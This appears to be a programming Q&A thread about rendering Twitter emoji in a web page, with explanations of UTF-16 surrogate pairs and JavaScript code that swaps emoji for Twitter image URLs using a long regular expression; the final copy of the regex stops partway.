I'm pulling tweets from Twitter and want to show them on a web page, but instead of emoji I only see boxes for characters like ๐ and ๐. How can I show these as images like Twitter, or if that's not possible, strip them all out?
I tried:
item["text"] = item["text"].replace('๐', "");
but it is throwing js error.
Please, please, never blindly delete chunks of text, especially not just because you can't see or understand them; it destroys information. Someone put them there for a reason; tweets containing emoji often don't make any sense without the emoji.
For what it's worth, what you're seeing isn't really "binary"; it's most likely a small square with the Unicode codepoint spelled out in hex. For ๐, that's U+1F49C, so you probably see 0 1 F 4 9 C. This is how Unicode characters are rendered when none of your installed fonts have glyphs for them.
To actually see the characters, you have several options.
Get Symbola from here, and install it. Now you can see emoji. But no one else can.
Get Symbola, and add it to your website with a #font-face block like this:
#font-face {
font-family: Symbola;
src: url('Symbola.ttf') format('truetype');
unicode-range: U+1F???;
}
Then set your page's font with font-family: Symbola, "your preferred font", sans-serif;.
The downside to this is that, to my understanding, CSS's font-family picks the first font that exists at all, and does not specify a Unicode fallback. So in browsers that don't support unicode-range (Firefox), that will render your entire page in the not particularly beautiful Symbola.
You could sorta hack around this by finding all the emoji and wrapping them in a <span class="emoji">, then only using Symbola for .emoji elements.
Find all the emoji and replace them with <img> tags, like Twitter does. Twitter's images are all at URLs containing the codepoint, e.g. https://abs.twimg.com/emoji/v1/72x72/1f43e.png, so just reusing those is easy enough. (I'm a little surprised the Twitter API won't do this for you, actually.)
If you want to find and replace all emoji, you probably want to just look for all astral-plane characters โ i.e., those not in the Basic Multilingual Plane where modern human languages live. These are all characters with codepoints of U+10000 and above.
In JavaScript, strings aren't really strings; they're arrays of 16-bit numbers. 16 bits is four hex digits, so Unicode codepoints that have five hex digits won't fit in a single 16-bit number. Instead, JavaScript encodes them with the terrible UTF-16 encoding, which uses two 16-bit numbers: one in the range 0xD800 to 0xDBFF and one in the range 0xDC00 to 0xDFFF. Two numbers together are called a "surrogate pair". None of these numbers will ever be real Unicode codepoints; the entire block is reserved for this encoding.
To find all the astral plane characters, you actually want to find all the surrogate pairs:
/[\uD800-\uDBFF][\uDC00-\uDFFF]/
So an implementation of Twitter's image replacement might look like this:
var text = "hey babe ๐ how you doin";
// Split on surrogate pairs, and preserve the surrogates; this will give
// you an array that alternates between BMP text and a single surrogate
// pair: [text, emoji, text, emoji, text...]
var chunks = text.split(/([\uD800-\uDBFF][\uDC00-\uDFFF])/);
// A DocumentFragment is a DOM tree that can be manipulated freely without
// causing a reflow, so it's more performant for heavy tree-building and a
// good habit to get into
var frag = document.createDocumentFragment();
for (var i = 0, l = chunks.length; i < l; i++) {
if (i % 2 == 0) {
// Even-numbered chunks are plain text
frag.appendChild(document.createTextNode(chunks[i]));
}
else {
// Odd-numbered chunks are surrogate pairs
// We have TWO characters, but we want one codepoint; this is how
// you decode UTF-16 :(
var pair = chunks[i];
var codepoint = (
0x10000
| ((pair.charCodeAt(0) - 0xD800) << 10)
| (pair.charCodeAt(1) - 0xDC00)
);
var hex = codepoint.toString(16); // now it's in hex
var img = document.createElement('img');
img.src = "https://abs.twimg.com/emoji/v1/72x72/" + hex + ".png";
// Twitter uses pretty big images and just scales them down
// clientside; you could change these to whatever you want, or add
// a class here and use CSS to set the width/height to 1em to
// match the current font size
img.height = 16;
img.width = 16;
frag.appendChild(img);
}
}
// Now just stick it into the page somewhere
var el = document.createElement('p');
el.appendChild(frag);
document.body.appendChild(el);
This creates an <img> as per option 3, but you could also easily add a <span class="emoji"> and go with option 2. Or do whatever else you want, like replace emoji with their Unicode names. (Twitter has the Unicode names as title on each image, but that's not done here because it requires including a huge list mapping codepoints to names โบ)
Unfortunately, what is or is not a Twitter Emoji is not simply all code points >= U+10000. There is also the issue of the regional flags, and the variant sequences.
I realized this is probably going to be a common problem so until the Twitter API provides native Emoji support, you can try something similar to this:
// This represents all of the Emoji Twitter supports as of August 2014. The order is important for the flags
// which are formed by combining two smaller Emoji. The codes at the end have optional standard variants that
// need to be treated as a contiguous span when present.
//
// This is written as a string rather than a raw regex, because js compressors do a good job concatenating
// and converting unicode escape characters into binary for strings, but not regexes.
var EMOJI_REGEX = new RegExp(
"\ud83c\uddec\ud83c\udde7|\ud83c\uddfa\ud83c\uddf8|\ud83c\udde9\ud83c\uddea|\ud83c\uddea\ud83c\uddf8|" +
"\ud83c\uddeb\ud83c\uddf7|\ud83c\udde8\ud83c\uddf3|\ud83c\uddee\ud83c\uddf9|\ud83c\uddef\ud83c\uddf5|" +
"\ud83c\uddf0\ud83c\uddf7|\ud83c\uddf7\ud83c\uddfa|\ud83d\udc7a|\ud83c\udd94|\ud83c\udd95|\ud83c\udd96|" +
"\ud83c\udd97|\ud83c\udd98|\ud83c\udd99|\ud83c\udd9a|\ud83c\udde6|\ud83c\udde7|\ud83d\udc83|\ud83c\udde8|" +
"\ud83c\udccf|\ud83c\udde9|\ud83c\udd70|\ud83c\uddea|\ud83c\udd71|\ud83c\uddeb|\ud83c\udd7e|\ud83c\uddec|" +
"\ud83c\udded|\ud83c\uddee|\ud83c\udd8e|\ud83c\uddef|\ud83c\udd91|\ud83c\uddf0|\ud83c\uddf1|\ud83c\uddf2|" +
"\ud83c\uddf3|\ud83c\uddf4|\ud83c\uddf5|\ud83c\uddf6|\ud83c\udd92|\ud83c\uddf7|\ud83c\uddf8|\ud83c\uddf9|" +
"\ud83c\udd93|\ud83c\uddfa|\ud83c\uddfb|\ud83c\uddfc|\ud83c\uddfd|\ud83c\uddfe|\ud83c\uddff|\ud83c\ude01|" +
"\ud83c\ude02|\ud83c\ude32|\ud83c\ude33|\ud83c\ude34|\ud83c\ude35|\ud83c\ude36|\ud83c\ude37|\ud83c\ude38|" +
"\ud83c\ude39|\ud83c\ude3a|\ud83c\ude50|\ud83c\ude51|\ud83c\udf00|\ud83c\udf01|\ud83c\udf02|\ud83c\udf03|" +
"\ud83c\udf04|\ud83c\udf05|\ud83c\udf06|\ud83c\udf07|\ud83c\udf08|\ud83c\udf09|\ud83c\udf0a|\ud83c\udf0b|" +
"\ud83c\udf0c|\ud83c\udf0d|\ud83c\udf0e|\ud83c\udf0f|\ud83c\udf10|\ud83c\udf11|\ud83c\udf12|\ud83c\udf13|" +
"\ud83c\udf14|\ud83c\udf15|\ud83c\udf16|\ud83c\udf17|\ud83c\udf18|\ud83c\udf19|\ud83c\udf1a|\ud83c\udf1b|" +
"\ud83c\udf1c|\ud83c\udf1d|\ud83c\udf1e|\ud83c\udf1f|\ud83c\udf20|\ud83c\udf30|\ud83c\udf31|\ud83c\udf32|" +
"\ud83c\udf33|\ud83c\udf34|\ud83c\udf35|\ud83c\udf37|\ud83c\udf38|\ud83c\udf39|\ud83c\udf3a|\ud83c\udf3b|" +
"\ud83c\udf3c|\ud83c\udf3d|\ud83c\udf3e|\ud83c\udf3f|\ud83c\udf40|\ud83c\udf41|\ud83c\udf42|\ud83c\udf43|" +
"\ud83c\udf44|\ud83c\udf45|\ud83c\udf46|\ud83c\udf47|\ud83c\udf48|\ud83c\udf49|\ud83c\udf4a|\ud83c\udf4b|" +
"\ud83c\udf4c|\ud83c\udf4d|\ud83c\udf4e|\ud83c\udf4f|\ud83c\udf50|\ud83c\udf51|\ud83c\udf52|\ud83c\udf53|" +
"\ud83c\udf54|\ud83c\udf55|\ud83c\udf56|\ud83c\udf57|\ud83c\udf58|\ud83c\udf59|\ud83c\udf5a|\ud83c\udf5b|" +
"\ud83c\udf5c|\ud83c\udf5d|\ud83c\udf5e|\ud83c\udf5f|\ud83c\udf60|\ud83c\udf61|\ud83c\udf62|\ud83c\udf63|" +
"\ud83c\udf64|\ud83c\udf65|\ud83c\udf66|\ud83c\udf67|\ud83c\udf68|\ud83c\udf69|\ud83c\udf6a|\ud83c\udf6b|" +
"\ud83c\udf6c|\ud83c\udf6d|\ud83c\udf6e|\ud83c\udf6f|\ud83c\udf70|\ud83c\udf71|\ud83c\udf72|\ud83c\udf73|" +
"\ud83c\udf74|\ud83c\udf75|\ud83c\udf76|\ud83c\udf77|\ud83c\udf78|\ud83c\udf79|\ud83c\udf7a|\ud83c\udf7b|" +
"\ud83c\udf7c|\ud83c\udf80|\ud83c\udf81|\ud83c\udf82|\ud83c\udf83|\ud83c\udf84|\ud83c\udf85|\ud83c\udf86|" +
"\ud83c\udf87|\ud83c\udf88|\ud83c\udf89|\ud83c\udf8a|\ud83c\udf8b|\ud83c\udf8c|\ud83c\udf8d|\ud83c\udf8e|" +
"\ud83c\udf8f|\ud83c\udf90|\ud83c\udf91|\ud83c\udf92|\ud83c\udf93|\ud83c\udfa0|\ud83c\udfa1|\ud83c\udfa2|" +
"\ud83c\udfa3|\ud83c\udfa4|\ud83c\udfa5|\ud83c\udfa6|\ud83c\udfa7|\ud83c\udfa8|\ud83c\udfa9|\ud83c\udfaa|" +
"\ud83c\udfab|\ud83c\udfac|\ud83c\udfad|\ud83c\udfae|\ud83c\udfaf|\ud83c\udfb0|\ud83c\udfb1|\ud83c\udfb2|" +
"\ud83c\udfb3|\ud83c\udfb4|\ud83c\udfb5|\ud83c\udfb6|\ud83c\udfb7|\ud83c\udfb8|\ud83c\udfb9|\ud83c\udfba|" +
"\ud83c\udfbb|\ud83c\udfbc|\ud83c\udfbd|\ud83c\udfbe|\ud83c\udfbf|\ud83c\udfc0|\ud83c\udfc1|\ud83c\udfc2|" +
"\ud83c\udfc3|\ud83c\udfc4|\ud83c\udfc6|\ud83c\udfc7|\ud83c\udfc8|\ud83c\udfc9|\ud83c\udfca|\ud83c\udfe0|" +
"\ud83c\udfe1|\ud83c\udfe2|\ud83c\udfe3|\ud83c\udfe4|\ud83c\udfe5|\ud83c\udfe6|\ud83c\udfe7|\ud83c\udfe8|" +
"\ud83c\udfe9|\ud83c\udfea|\ud83c\udfeb|\ud83c\udfec|\ud83c\udfed|\ud83c\udfee|\ud83c\udfef|\ud83c\udff0|" +
"\ud83d\udc00|\ud83d\udc01|\ud83d\udc02|\ud83d\udc03|\ud83d\udc04|\ud83d\udc05|\ud83d\udc06|\ud83d\udc07|" +
"\ud83d\udc08|\ud83d\udc09|\ud83d\udc0a|\ud83d\udc0b|\ud83d\udc0c|\ud83d\udc0d|\ud83d\udc0e|\ud83d\udc0f|" +
"\ud83d\udc10|\ud83d\udc11|\ud83d\udc12|\ud83d\udc13|\ud83d\udc14|\ud83d\udc15|\ud83d\udc16|\ud83d\udc17|" +
"\ud83d\udc18|\ud83d\udc19|\ud83d\udc1a|\ud83d\udc1b|\ud83d\udc1c|\ud83d\udc1d|\ud83d\udc1e|\ud83d\udc1f|" +
"\ud83d\udc20|\ud83d\udc21|\ud83d\udc22|\ud83d\udc23|\ud83d\udc24|\ud83d\udc25|\ud83d\udc26|\ud83d\udc27|" +
"\ud83d\udc28|\ud83d\udc29|\ud83d\udc2a|\ud83d\udc2b|\ud83d\udc2c|\ud83d\udc2d|\ud83d\udc2e|\ud83d\udc2f|" +
"\ud83d\udc30|\ud83d\udc31|\ud83d\udc32|\ud83d\udc33|\ud83d\udc34|\ud83d\udc35|\ud83d\udc36|\ud83d\udc37|" +
"\ud83d\udc38|\ud83d\udc39|\ud83d\udc3a|\ud83d\udc3b|\ud83d\udc3c|\ud83d\udc3d|\ud83d\udc3e|\ud83d\udc40|" +
"\ud83d\udc42|\ud83d\udc43|\ud83d\udc44|\ud83d\udc45|\ud83d\udc46|\ud83d\udc47|\ud83d\udc48|\ud83d\udc49|" +
"\ud83d\udc4a|\ud83d\udc4b|\ud83d\udc4c|\ud83d\udc4d|\ud83d\udc4e|\ud83d\udc4f|\ud83d\udc50|\ud83d\udc51|" +
"\ud83d\udc52|\ud83d\udc53|\ud83d\udc54|\ud83d\udc55|\ud83d\udc56|\ud83d\udc57|\ud83d\udc58|\ud83d\udc59|" +
"\ud83d\udc5a|\ud83d\udc5b|\ud83d\udc5c|\ud83d\udc5d|\ud83d\udc5e|\ud83d\udc5f|\ud83d\udc60|\ud83d\udc61|" +
"\ud83d\udc62|\ud83d\udc63|\ud83d\udc64|\ud83d\udc65|\ud83d\udc66|\ud83d\udc67|\ud83d\udc68|\ud83d\udc69|" +
"\ud83d\udc6a|\ud83d\udc6b|\ud83d\udc6c|\ud83d\udc6d|\ud83d\udc6e|\ud83d\udc6f|\ud83d\udc70|\ud83d\udc71|" +
"\ud83d\udc72|\ud83d\udc73|\ud83d\udc74|\ud83d\udc75|\ud83d\udc76|\ud83d\udc77|\ud83d\udc78|\ud83d\udc79|" +
"\ud83d\udc7b|\ud83d\udc7c|\ud83d\udc7d|\ud83d\udc7e|\ud83d\udc7f|\ud83d\udc80|\ud83d\udc81|\ud83d\udc82|" +
"\ud83d\udc84|\ud83d\udc85|\ud83d\udc86|\ud83d\udc87|\ud83d\udc88|\ud83d\udc89|\ud83d\udc8a|\ud83d\udc8b|" +
"\ud83d\udc8c|\ud83d\udc8d|\ud83d\udc8e|\ud83d\udc8f|\ud83d\udc90|\ud83d\udc91|\ud83d\udc92|\ud83d\udc93|" +
"\ud83d\udc94|\ud83d\udc95|\ud83d\udc96|\ud83d\udc97|\ud83d\udc98|\ud83d\udc99|\ud83d\udc9a|\ud83d\udc9b|" +
"\ud83d\udc9c|\ud83d\udc9d|\ud83d\udc9e|\ud83d\udc9f|\ud83d\udca0|\ud83d\udca1|\ud83d\udca2|\ud83d\udca3|" +
"\ud83d\udca4|\ud83d\udca5|\ud83d\udca6|\ud83d\udca7|\ud83d\udca8|\ud83d\udca9|\ud83d\udcaa|\ud83d\udcab|" +
"\ud83d\udcac|\ud83d\udcad|\ud83d\udcae|\ud83d\udcaf|\ud83d\udcb0|\ud83d\udcb1|\ud83d\udcb2|\ud83d\udcb3|" +
"\ud83d\udcb4|\ud83d\udcb5|\ud83d\udcb6|\ud83d\udcb7|\ud83d\udcb8|\ud83d\udcb9|\ud83d\udcba|\ud83d\udcbb|" +
"\ud83d\udcbc|\ud83d\udcbd|\ud83d\udcbe|\ud83d\udcbf|\ud83d\udcc0|\ud83d\udcc1|\ud83d\udcc2|\ud83d\udcc3|" +
"\ud83d\udcc4|\ud83d\udcc5|\ud83d\udcc6|\ud83d\udcc7|\ud83d\udcc8|\ud83d\udcc9|\ud83d\udcca|\ud83d\udccb|" +
"\ud83d\udccc|\ud83d\udccd|\ud83d\udcce|\ud83d\udccf|\ud83d\udcd0|\ud83d\udcd1|\ud83d\udcd2|\ud83d\udcd3|" +
"\ud83d\udcd4|\ud83d\udcd5|\ud83d\udcd6|\ud83d\udcd7|\ud83d\udcd8|\ud83d\udcd9|\ud83d\udcda|\ud83d\udcdb|" +
"\ud83d\udcdc|\ud83d\udcdd|\ud83d\udcde|\ud83d\udcdf|\ud83d\udce0|\ud83d\udce1|\ud83d\udce2|\ud83d\udce3|" +
"\ud83d\udce4|\ud83d\udce5|\ud83d\udce6|\ud83d\udce7|\ud83d\udce8|\ud83d\udce9|\ud83d\udcea|\ud83d\udceb|" +
"\ud83d\udcec|\ud83d\udced|\ud83d\udcee|\ud83d\udcef|\ud83d\udcf0|\ud83d\udcf1|\ud83d\udcf2|\ud83d\udcf3|" +
"\ud83d\udcf4|\ud83d\udcf5|\ud83d\udcf6|\ud83d\udcf7|\ud83d\udcf9|\ud83d\udcfa|\ud83d\udcfb|\ud83d\udcfc|" +
"\ud83d\udd00|\ud83d\udd01|\ud83d\udd02|\ud83d\udd03|\ud83d\udd04|\ud83d\udd05|\ud83d\udd06|\ud83d\udd07|" +
"\ud83d\udd08|\ud83d\udd09|\ud83d\udd0a|\ud83d\udd0b|\ud83d\udd0c|\ud83d\udd0d|\ud83d\udd0e|\ud83d\udd0f|" +
"\ud83d\udd10|\ud83d\udd11|\ud83d\udd12|\ud83d\udd13|\ud83d\udd14|\ud83d\udd15|\ud83d\udd16|\ud83d\udd17|" +
"\ud83d\udd18|\ud83d\udd19|\ud83d\udd1a|\ud83d\udd1b|\ud83d\udd1c|\ud83d\udd1d|\ud83d\udd1e|\ud83d\udd1f|" +
"\ud83d\udd20|\ud83d\udd21|\ud83d\udd22|\ud83d\udd23|\ud83d\udd24|\ud83d\udd25|\ud83d\udd26|\ud83d\udd27|" +
"\ud83d\udd28|\ud83d\udd29|\ud83d\udd2a|\ud83d\udd2b|\ud83d\udd2c|\ud83d\udd2d|\ud83d\udd2e|\ud83d\udd2f|" +
"\ud83d\udd30|\ud83d\udd31|\ud83d\udd32|\ud83d\udd33|\ud83d\udd34|\ud83d\udd35|\ud83d\udd36|\ud83d\udd37|" +
"\ud83d\udd38|\ud83d\udd39|\ud83d\udd3a|\ud83d\udd3b|\ud83d\udd3c|\ud83d\udd3d|\ud83d\udd50|\ud83d\udd51|" +
"\ud83d\udd52|\ud83d\udd53|\ud83d\udd54|\ud83d\udd55|\ud83d\udd56|\ud83d\udd57|\ud83d\udd58|\ud83d\udd59|" +
"\ud83d\udd5a|\ud83d\udd5b|\ud83d\udd5c|\ud83d\udd5d|\ud83d\udd5e|\ud83d\udd5f|\ud83d\udd60|\ud83d\udd61|" +
"\ud83d\udd62|\ud83d\udd63|\ud83d\udd64|\ud83d\udd65|\ud83d\udd66|\ud83d\udd67|\ud83d\uddfb|\ud83d\uddfc|" +
"\ud83d\uddfd|\ud83d\uddfe|\ud83d\uddff|\ud83d\ude00|\ud83d\ude01|\ud83d\ude02|\ud83d\ude03|\ud83d\ude04|" +
"\ud83d\ude05|\ud83d\ude06|\ud83d\ude07|\ud83d\ude08|\ud83d\ude09|\ud83d\ude0a|\ud83d\ude0b|\ud83d\ude0c|" +
"\ud83d\ude0d|\ud83d\ude0e|\ud83d\ude0f|\ud83d\ude10|\ud83d\ude11|\ud83d\ude12|\ud83d\ude13|\ud83d\ude14|" +
"\ud83d\ude15|\ud83d\ude16|\ud83d\ude17|\ud83d\ude18|\ud83d\ude19|\ud83d\ude1a|\ud83d\ude1b|\ud83d\ude1c|" +
"\ud83d\ude1d|\ud83d\ude1e|\ud83d\ude1f|\ud83d\ude20|\ud83d\ude21|\ud83d\ude22|\ud83d\ude23|\ud83d\ude24|" +
"\ud83d\ude25|\ud83d\ude26|\ud83d\ude27|\ud83d\ude28|\ud83d\ude29|\ud83d\ude2a|\ud83d\ude2b|\ud83d\ude2c|" +
"\ud83d\ude2d|\ud83d\ude2e|\ud83d\ude2f|\ud83d\ude30|\ud83d\ude31|\ud83d\ude32|\ud83d\ude33|\ud83d\ude34|" +
"\ud83d\ude35|\ud83d\ude36|\ud83d\ude37|\ud83d\ude38|\ud83d\ude39|\ud83d\ude3a|\ud83d\ude3b|\ud83d\ude3c|" +
"\ud83d\ude3d|\ud83d\ude3e|\ud83d\ude3f|\ud83d\ude40|\ud83d\ude45|\ud83d\ude46|\ud83d\ude47|\ud83d\ude48|" +
"\ud83d\ude49|\ud83d\ude4a|\ud83d\ude4b|\ud83d\ude4c|\ud83d\ude4d|\ud83d\ude4e|\ud83d\ude4f|\ud83d\ude80|" +
"\ud83d\ude81|\ud83d\ude82|\ud83d\ude83|\ud83d\ude84|\ud83d\ude85|\ud83d\ude86|\ud83d\ude87|\ud83d\ude88|" +
"\ud83d\ude89|\ud83d\ude8a|\ud83d\ude8b|\ud83d\ude8c|\ud83d\ude8d|\ud83d\ude8e|\ud83d\ude8f|\ud83d\ude90|" +
"\ud83d\ude91|\ud83d\ude92|\ud83d\ude93|\ud83d\ude94|\ud83d\ude95|\ud83d\ude96|\ud83d\ude97|\ud83d\ude98|" +
"\ud83d\ude99|\ud83d\ude9a|\ud83d\ude9b|\ud83d\ude9c|\ud83d\ude9d|\ud83d\ude9e|\ud83d\ude9f|\ud83d\udea0|" +
"\ud83d\udea1|\ud83d\udea2|\ud83d\udea3|\ud83d\udea4|\ud83d\udea5|\ud83d\udea6|\ud83d\udea7|\ud83d\udea8|" +
"\ud83d\udea9|\ud83d\udeaa|\ud83d\udeab|\ud83d\udeac|\ud83d\udead|\ud83d\udeae|\ud83d\udeaf|\ud83d\udeb0|" +
"\ud83d\udeb1|\ud83d\udeb2|\ud83d\udeb3|\ud83d\udeb4|\ud83d\udeb5|\ud83d\udeb6|\ud83d\udeb7|\ud83d\udeb8|" +
"\ud83d\udeb9|\ud83d\udeba|\ud83d\udebb|\ud83d\udebc|\ud83d\udebd|\ud83d\udebe|\ud83d\udebf|\ud83d\udec0|" +
"\ud83d\udec1|\ud83d\udec2|\ud83d\udec3|\ud83d\udec4|\ud83d\udec5|\u0023\u20e3|\u0030\u20e3|\u0031\u20e3|" +
"\u0032\u20e3|\u0033\u20e3|\u0034\u20e3|\u0035\u20e3|\u0036\u20e3|\u0037\u20e3|\u0038\u20e3|\u0039\u20e3|" +
"\u3030|\u2705|\u2728|\u2122|\u23e9|\u23ea|\u23eb|\u23ec|\u23f0|\u23f3|\u26ce|\u270a|\u270b|\u274c|\u274e|" +
"\u27b0|\u27bf|\u2753|\u2754|\u2755|\u2795|\u2796|\u2797|\u00a9|\u00ae|\ue50a|" +
"(\ud83c\udd7f|\ud83c\ude1a|\ud83c\ude2f|\ud83c\udc04|\u2935|\u3297|\u3299|\u2049|\u2139|\u2194|\u2195|" +
"\u2196|\u2197|\u2198|\u2199|\u2600|\u2601|\u2611|\u2614|\u2615|\u2648|\u2649|\u2650|\u2651|\u2652|\u2653|" +
"\u2660|\u2663|\u2665|\u2666|\u2668|\u2693|\u2702|\u2708|\u2709|\u2712|\u2714|\u2716|\u2733|\u2734|\u203c|" +
"\u21a9|\u21aa|\u2744|\u231a|\u231b|\u24c2|\u25aa|\u25ab|\u25b6|\u25c0|\u25fb|\u25fc|\u25fd|\u25fe|\u260e|" +
"\u261d|\u263a|\u264a|\u264b|\u264c|\u264d|\u264e|\u264f|\u267b|\u267f|\u26a0|\u26a1|\u26aa|\u26ab|\u26bd|" +
"\u26be|\u26c4|\u26c5|\u26d4|\u26ea|\u26f2|\u26f3|\u26f5|\u26fa|\u26fd|\u270c|\u270f|\u27a1|\u2b05|\u2b06|" +
"\u2b07|\u2b1b|\u2b1c|\u2b50|\u2b55|\u2747|\u303d|\u2757|\u2764|\u2934)([\ufe0e\ufe0f]?)", "g");
// Example:
document.body.innerHTML = renderEmoji("Hello \ud83d\ude1c!");
// For safety, Emoji should only be converted in the plain text spans of Tweets, not a fully linkified Tweet.
function renderEmoji(text) {
return text.replace(EMOJI_REGEX, function(baseAndVariant, base, variant) {
if (variant == "\ufe0e") {
// Do not emojify this variant.
return baseAndVariant;
}
// Convert UTF-16 into a sequence of hex codes
base = base || baseAndVariant;
var codes = [];
base.replace(/([\ud800-\udbff][\udc00-\udfff])|./g, function(any, nonBmp) {
var code = nonBmp ?
((nonBmp.charCodeAt(0) & 0x3ff) << 10) + (nonBmp.charCodeAt(1) & 0x3ff) + 0x10000 :
any.charCodeAt(0);
codes.push(code.toString(16));
});
var src = "//abs.twimg.com/emoji/v1/72x72/" + codes.join('-') + ".png";
// The inline images depends on this css being in the head somehere:
// .twitter-emoji {
// height: 1em;
// width: 1em;
// padding: 0 0.05em 0 0.1em;
// vertical-align: -0.1em;
// }
// The alt attribute gets used when users copy and paste an img into a plain text editor.
return '<img src=' + src + ' class="twitter-emoji" alt="' + baseAndVariant + '">';
});
}
twitter finally released it ;)
Hope it helps
https://github.com/twitter/twemoji
Default settings for JSLint and other quality checkers don't accept several of the Twitter Flags and Sequences.
For convenience, based on the answer above, I've commented out the offending escape sequences and used the actual characters in the Regex.
EMOJI_REGEX: new RegExp(
'\ud83c\uddec\ud83c\udde7|\ud83c\uddfa\ud83c\uddf8|\ud83c\udde9\ud83c\uddea|\ud83c\uddea\ud83c\uddf8|' +
'\ud83c\uddeb\ud83c\uddf7|\ud83c\udde8\ud83c\uddf3|\ud83c\uddee\ud83c\uddf9|\ud83c\uddef\ud83c\uddf5|' +
'\ud83c\uddf0\ud83c\uddf7|\ud83c\uddf7\ud83c\uddfa|\ud83d\udc7a|\ud83c\udd94|\ud83c\udd95|\ud83c\udd96|' +
'\ud83c\udd97|\ud83c\udd98|\ud83c\udd99|\ud83c\udd9a|\ud83c\udde6|\ud83c\udde7|\ud83d\udc83|\ud83c\udde8|' +
'\ud83c\udccf|\ud83c\udde9|\ud83c\udd70|\ud83c\uddea|\ud83c\udd71|\ud83c\uddeb|\ud83c\udd7e|\ud83c\uddec|' +
'\ud83c\udded|\ud83c\uddee|\ud83c\udd8e|\ud83c\uddef|\ud83c\udd91|\ud83c\uddf0|\ud83c\uddf1|\ud83c\uddf2|' +
'\ud83c\uddf3|\ud83c\uddf4|\ud83c\uddf5|\ud83c\uddf6|\ud83c\udd92|\ud83c\uddf7|\ud83c\uddf8|\ud83c\uddf9|' +
'\ud83c\udd93|\ud83c\uddfa|\ud83c\uddfb|\ud83c\uddfc|\ud83c\uddfd|\ud83c\uddfe|\ud83c\uddff|\ud83c\ude01|' +
'\ud83c\ude02|\ud83c\ude32|\ud83c\ude33|\ud83c\ude34|\ud83c\ude35|\ud83c\ude36|\ud83c\ude37|\ud83c\ude38|' +
'\ud83c\ude39|\ud83c\ude3a|\ud83c\ude50|\ud83c\ude51|\ud83c\udf00|\ud83c\udf01|\ud83c\udf02|\ud83c\udf03|' +
'\ud83c\udf04|\ud83c\udf05|\ud83c\udf06|\ud83c\udf07|\ud83c\udf08|\ud83c\udf09|\ud83c\udf0a|\ud83c\udf0b|' +
'\ud83c\udf0c|\ud83c\udf0d|\ud83c\udf0e|\ud83c\udf0f|\ud83c\udf10|\ud83c\udf11|\ud83c\udf12|\ud83c\udf13|' +
'\ud83c\udf14|\ud83c\udf15|\ud83c\udf16|\ud83c\udf17|\ud83c\udf18|\ud83c\udf19|\ud83c\udf1a|\ud83c\udf1b|' +
'\ud83c\udf1c|\ud83c\udf1d|\ud83c\udf1e|\ud83c\udf1f|\ud83c\udf20|\ud83c\udf30|\ud83c\udf31|\ud83c\udf32|' +
'\ud83c\udf33|\ud83c\udf34|\ud83c\udf35|\ud83c\udf37|\ud83c\udf38|\ud83c\udf39|\ud83c\udf3a|\ud83c\udf3b|' +
'\ud83c\udf3c|\ud83c\udf3d|\ud83c\udf3e|\ud83c\udf3f|\ud83c\udf40|\ud83c\udf41|\ud83c\udf42|\ud83c\udf43|' +
'\ud83c\udf44|\ud83c\udf45|\ud83c\udf46|\ud83c\udf47|\ud83c\udf48|\ud83c\udf49|\ud83c\udf4a|\ud83c\udf4b|' +
'\ud83c\udf4c|\ud83c\udf4d|\ud83c\udf4e|\ud83c\udf4f|\ud83c\udf50|\ud83c\udf51|\ud83c\udf52|\ud83c\udf53|' +
'\ud83c\udf54|\ud83c\udf55|\ud83c\udf56|\ud83c\udf57|\ud83c\udf58|\ud83c\udf59|\ud83c\udf5a|\ud83c\udf5b|' +
'\ud83c\udf5c|\ud83c\udf5d|\ud83c\udf5e|\ud83c\udf5f|\ud83c\udf60|\ud83c\udf61|\ud83c\udf62|\ud83c\udf63|' +
'\ud83c\udf64|\ud83c\udf65|\ud83c\udf66|\ud83c\udf67|\ud83c\udf68|\ud83c\udf69|\ud83c\udf6a|\ud83c\udf6b|' +
'\ud83c\udf6c|\ud83c\udf6d|\ud83c\udf6e|\ud83c\udf6f|\ud83c\udf70|\ud83c\udf71|\ud83c\udf72|\ud83c\udf73|' +
'\ud83c\udf74|\ud83c\udf75|\ud83c\udf76|\ud83c\udf77|\ud83c\udf78|\ud83c\udf79|\ud83c\udf7a|\ud83c\udf7b|' +
'\ud83c\udf7c|\ud83c\udf80|\ud83c\udf81|\ud83c\udf82|\ud83c\udf83|\ud83c\udf84|\ud83c\udf85|\ud83c\udf86|' +
'\ud83c\udf87|\ud83c\udf88|\ud83c\udf89|\ud83c\udf8a|\ud83c\udf8b|\ud83c\udf8c|\ud83c\udf8d|\ud83c\udf8e|' +
'\ud83c\udf8f|\ud83c\udf90|\ud83c\udf91|\ud83c\udf92|\ud83c\udf93|\ud83c\udfa0|\ud83c\udfa1|\ud83c\udfa2|' +
'\ud83c\udfa3|\ud83c\udfa4|\ud83c\udfa5|\ud83c\udfa6|\ud83c\udfa7|\ud83c\udfa8|\ud83c\udfa9|\ud83c\udfaa|' +
'\ud83c\udfab|\ud83c\udfac|\ud83c\udfad|\ud83c\udfae|\ud83c\udfaf|\ud83c\udfb0|\ud83c\udfb1|\ud83c\udfb2|' +
'\ud83c\udfb3|\ud83c\udfb4|\ud83c\udfb5|\ud83c\udfb6|\ud83c\udfb7|\ud83c\udfb8|\ud83c\udfb9|\ud83c\udfba|' +
'\ud83c\udfbb|\ud83c\udfbc|\ud83c\udfbd|\ud83c\udfbe|\ud83c\udfbf|\ud83c\udfc0|\ud83c\udfc1|\ud83c\udfc2|' +
'\ud83c\udfc3|\ud83c\udfc4|\ud83c\udfc6|\ud83c\udfc7|\ud83c\udfc8|\ud83c\udfc9|\ud83c\udfca|\ud83c\udfe0|' +
'\ud83c\udfe1|\ud83c\udfe2|\ud83c\udfe3|\ud83c\udfe4|\ud83c\udfe5|\ud83c\udfe6|\ud83c\udfe7|\ud83c\udfe8|' +
'\ud83c\udfe9|\ud83c\udfea|\ud83c\udfeb|\ud83c\udfec|\ud83c\udfed|\ud83c\udfee|\ud83c\udfef|\ud83c\udff0|' +
'\ud83d\udc00|\ud83d\udc01|\ud83d\udc02|\ud83d\udc03|\ud83d\udc04|\ud83d\udc05|\ud83d\udc06|\ud83d\udc07|' +
'\ud83d\udc08|\ud83d\udc09|\ud83d\udc0a|\ud83d\udc0b|\ud83d\udc0c|\ud83d\udc0d|\ud83d\udc0e|\ud83d\udc0f|' +
'\ud83d\udc10|\ud83d\udc11|\ud83d\udc12|\ud83d\udc13|\ud83d\udc14|\ud83d\udc15|\ud83d\udc16|\ud83d\udc17|' +
'\ud83d\udc18|\ud83d\udc19|\ud83d\udc1a|\ud83d\udc1b|\ud83d\udc1c|\ud83d\udc1d|\ud83d\udc1e|\ud83d\udc1f|' +
